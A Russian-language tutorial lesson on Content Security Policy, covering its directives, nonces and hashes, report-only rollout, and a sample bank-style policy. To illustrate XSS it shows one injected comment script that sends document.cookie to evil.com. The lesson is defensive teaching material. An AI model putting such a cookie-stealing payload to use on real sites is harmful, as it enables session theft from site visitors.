Content Security Policy (CSP)
Content Security Policy (CSP)
CORS решает, с каких доменов можно читать данные. Но есть другая проблема: что если злоумышленник внедрил вредоносный скрипт на страницу? XSS-атака может украсть данные, даже если все API-запросы корректны. Content Security Policy (CSP) — это заголовок, через который сервер говорит браузеру, что исполнять, а что нет.
Проблема: инлайн-скрипты и подгрузка с чужих доменов
Представь: сайт позволяет пользователям оставлять комментарии. Злоумышленник оставляет комментарий с <script>-тегом:
Отличный товар!
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
Если сайт не экранирует HTML при выводе комментариев, этот скрипт выполнится у всех посетителей страницы. Это XSS (Cross-Site Scripting). CSP способен предотвратить исполнение такого скрипта.
Как CSP защищает
CSP — это allowlist. Ты перечисляешь, ОТКУДА можно загружать скрипты, стили, картинки, шрифты. Всё остальное — блокируется:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
Эта политика означает:
default-src 'self'— по умолчанию загружать ресурсы только с этого же origin.script-src 'self' https://cdn.example.com— скрипты можно загружать с того же origin И с конкретного CDN.
Вредоносный <script> с inline-кодом или ссылкой на evil.com будет заблокирован. Браузер покажет ошибку в консоли:
Refused to execute inline script because it violates the following
Content Security Policy directive: "script-src 'self' https://cdn.example.com"
Директивы CSP
CSP управляет каждым типом ресурсов отдельно:
| Директива | Что контролирует |
|---|---|
default-src | Значение по умолчанию для всего, что не указано явно |
script-src | JavaScript (включая inline <script>, eval, setTimeout с строкой) |
style-src | CSS (включая inline <style>) |
img-src | Изображения (<img>, background-image) |
font-src | Шрифты (@font-face) |
connect-src | fetch(), XMLHttpRequest, WebSocket |
frame-src | <iframe> и <frame> |
media-src | <audio>, <video> |
object-src | <object>, <embed>, <applet> |
Nonce и hash: разрешить «хорошие» инлайн-скрипты
Строгий CSP запрещает все инлайн-скрипты. Но иногда инлайн нужен легитимно (React, Next.js внедряют инлайн-скрипты для гидрации). Решение — nonce (одноразовый токен) или hash:
Nonce — случайная строка, меняющаяся при каждом ответе. Сервер генерирует nonce и встраивает в CSP и в <script>-тег:
Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'
<script nonce="r4nd0m123">
console.log('Этот скрипт разрешён — nonce совпадает');
</script>
Hash — SHA-хэш содержимого скрипта. Сервер вычисляет хэш легитимного инлайн-скрипта и добавляет его в CSP:
Content-Security-Policy: script-src 'self' 'sha256-abc123...'
<script>console.log('hello');</script> ← хэш совпадает → разрешён
Построение CSP: от мониторинга к блокировке
Внедрять CSP опасно — можно сломать сайт, заблокировав легитимные ресурсы. Правильный путь — двухэтапный:
Этап 1: Report-only. CSP не блокирует, а только сообщает о нарушениях:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-violations
Сервер получает JSON-отчёты о том, что было бы заблокировано. Разработчик анализирует и подчищает политику.
Этап 2: Enforce. После отладки политика включается через Content-Security-Policy (без Report-Only). Нарушения блокируются.
Пример реальной CSP
CSP сайта уровня банка может выглядеть так:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-r4nd0m123';
style-src 'self' 'unsafe-inline';
img-src 'self' https: data:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.bank.com;
frame-src 'none';
object-src 'none';
base-uri 'self';
form-action 'self';
Разбор:
- Скрипты — только с того же origin с nonce. Никаких чужих CDN для скриптов (самый критичный ресурс).
- Стили — тот же origin + 'unsafe-inline' (допустимо, CSS не может украсть данные).
- Картинки — свой origin + любые HTTPS + data: URI.
- Фреймы и объекты (Flash/Java) полностью запрещены.
- form-action 'self' — формы отправляются только на свой сайт.
Проверь себя
- Чем CSP отличается от CORS?
- Почему
'unsafe-inline'дляscript-srcопасно? - Зачем нужен Report-Only режим?
- CORS контролирует, с каких доменов МОЖНО ЧИТАТЬ ответы. CSP контролирует, откуда можно ЗАГРУЖАТЬ и ИСПОЛНЯТЬ ресурсы (скрипты, стили, картинки). Разные уровни защиты.
- Разрешает инлайн-скрипты (
<script>без src). Главный вектор XSS — инлайн-скрипты, внедрённые злоумышленником. 'unsafe-inline' отключает эту защиту. - Report-Only позволяет собрать реальные данные о том, какие ресурсы были бы заблокированы CSP, не ломая сайт. Это безопасный способ отладки перед включением enforcing.
Что унести с урока
- CSP — allowlist, указывающий браузеру, откуда можно загружать ресурсы.
script-src— самая критичная директива (защита от XSS).- Nonce и hash позволяют выполнить легитимные инлайн-скрипты без
'unsafe-inline'. - Внедрять через Report-Only → анализ → Enforce.
В следующем уроке разберём XSS, CSRF и распространённые атаки — как они работают и как защищаться на уровне HTTP и приложения.